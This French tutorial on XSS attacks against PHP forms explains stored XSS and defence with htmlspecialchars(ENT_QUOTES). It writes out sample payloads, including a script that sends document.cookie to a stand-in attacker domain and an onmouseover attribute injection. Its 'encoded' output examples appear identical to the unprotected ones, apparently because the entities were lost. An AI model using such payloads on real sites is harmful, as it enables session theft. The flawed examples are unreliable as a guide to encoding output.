Lorsqu'une page Web affiche un formulaire, un utilisateur malveillant pourrait entrer du code précis dans une boîte de saisie et ainsi tenter d'exécuter du code non prévu, par exemple du JavaScript potentiellement dangereux.
Ce type d'attaque porte le nom de Attaque XSS ou Cross-Site Scripting.
Je vous présente ici différentes formes d'attaques XSS :
L'attaque XSS la plus classique consiste à entrer ceci dans la balise <input> : « <script>alert("Cassé!");</script> ».

Si la page affiche à l'écran le texte saisi (ce qui arrivera tôt ou tard), le navigateur recevra les balises <script> et exécutera le code JavaScript qu'elles contiennent.
Dans le cas le plus simple, les balises <script> ne contiendront qu'une instruction alert(), ce qui affichera un popup. Ce n'est pas dangereux, surtout si le popup ne s'affiche que sur le poste de l'assaillant.
Le problème s'aggrave lorsque les informations sont enregistrées dans la base de données avant d'être affichées sur différentes pages Web. On parlera alors d'attaque XSS stockée ou permanente (en anglais : persistent XSS).
Par exemple, si les balises <script> sont entrées dans un commentaire, elles seront affichées sur l'écran de chaque internaute ayant accès à la liste des commentaires. Un simple alert() deviendra carrément dérangeant.
Le problème devient critique lorsque les balises <script> contiennent du code plus compromettant, comme par exemple une instruction JavaScript qui redirige vers un site qui, avec une apparence tout à fait conforme au site d'origine, se chargera de conserver précieusement les informations d'authentification ou encore de récupérer le cookie de l'usager.
Par exemple, si l'usager malveillant entre dans le formulaire une information du genre :
<script>document.location='https://domaineduhacker.com/index.php?cookie=' + document.cookie</script>
La page « https://domaineduhacker.com/index.php » pourra s'occuper de conserver précieusement le cookie puis de rediriger l'internaute vers son site d'origine. Ouch !
Le site Web pourra être protégé à l'aide de la fonction htmlspecialchars(). Cette fonction permet entre autres de convertir les balises < et > en < et >. Ainsi, si un utilisateur entre <script> dans la boîte de saisie, ceci sera converti en <script>. La tentative d'attaque deviendra tout à fait inoffensive.
Les caractères remplacés par htmlspecialchars() sont les suivants :
Dans les faits, il ne peut pas se produire d'attaque XSS lors de l'enregistrement des données.
C'est lorsque ces informations seront affichées à l'écran que l'attaque pourra se produire.
Aussi, nous allons prendre l'habitude de bien protéger les informations lors de l'enregistrement afin qu'aucune attaque potentielle ne provienne des informations de la base de données lorsqu'elles sont affichées à l'écran.
Rappelons que les requêtes préparées offrent une protection contre les injections SQL mais pas contre les attaques XSS.
L'algorithme suivant appliquera htmlspecialchars() à chacune des valeurs contenues dans le tableau $_POST reçu du formulaire Web.
// protection XSS avant l'enregistrement
foreach ($_POST as $cle => $valeur) {
$_POST[$cle] = htmlspecialchars($valeur, ENT_QUOTES);
}
Dans certains cas, les utilisateurs malveillants pourront se servir des apostrophes dans leur attaque, par exemple pour refermer un attribut et introduire un attribut onmouseover qui pourra exécuter du JavaScript.
Ceci n'est possible évidemment que si l'informations tirée de la base de données est placée dans un attribut d'une balise HTML, par exemple l'attribut href d'une balise <a>.
Pour illustrer une telle attaque, prenons le code PHP suivant qui affiche des liens à partir d'URL tirés de la base de données.
...
while ($enreg = $resultat->fetch_row()) {
echo "<li><a href='$enreg[1]'>$enreg[0]</a></li>";
}
...
Dans le formulaire qui permet d'ajouter un lien dans la base de données, l'usager malveillant pourrait entrer ceci dans la balise <input> au lieu d'un URL valide : « 'onmouseover='alert("Cassé!"); ».
Bien sûr, il faudrait normalement valider que le texte entré est bien un lien. Mais si le développeur n'est pas assez sensibilisé à la sécurité, qu'il ne fait pas de validation et que ce texte est enregistré en tant qu'URL, le code généré sera le suivant :
<li><a href=''onmouseover='alert("Cassé!");'>Lien frauduleux non protégé</a></li>
On voit que l'apostrophe du début permet de refermer le contenu de l'attribut href, ce qui permet à l'attribut onmouseover d'être pris en compte.
Pour se protéger, il faut utiliser htmlspecialchars() avant d'afficher les données ou mieux, avant de les enregistrer.
Cependant, si on ne prend pas la précaution d'encoder avec la constante ENT_QUOTES, les apostrophes ne seront pas encodés donc le onmouseover pourra avoir lieu.
Le lien généré semble protégé mais il ne l'est pas.
<li><a href=''onmouseover='alert("Cassé!");'>Lien protégé avec htmlspecialchars()sans ENT_QUOTES</a></li>
Pour mieux se protéger, il faut utiliser la constante ENT_QUOTES comme second paramètre à htmlspecialchars(). Ceci indique que les apostrophes doivent être encodées au même titre que les guillemets et les caractères &, < et >.
// protection XSS avant l'enregistrement qui convertit également les apostrophes
foreach ($_POST as $cle => $valeur) {
$_POST[$cle] = htmlspecialchars($valeur, ENT_QUOTES);
}
Cette fois, le lien généré sera le suivant, avec les apostrophes et guillements correctement encodés. L'attaque ne pourra donc pas avoir lieu.
<li><a href=''onmouseover='alert("Cassé!");'>Lien frauduleux enregistré avec ENT_QUOTES</a></li>
« htmlspecialchars ». PHP. http://php.net/manual/fr/function.htmlspecialchars.php
« Cross-Site Scripting Attacks (XSS) ». SitePoint. http://www.sitepoint.com/php-security-cross-site-scripting-attacks-xss/
« Cross-Site Scripting ». Chris Shiflett. http://shiflett.org/articles/cross-site-scripting
« XSS (Cross Site Scripting) Prevention Cheat Sheet ». OWASP. https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
▼Publicité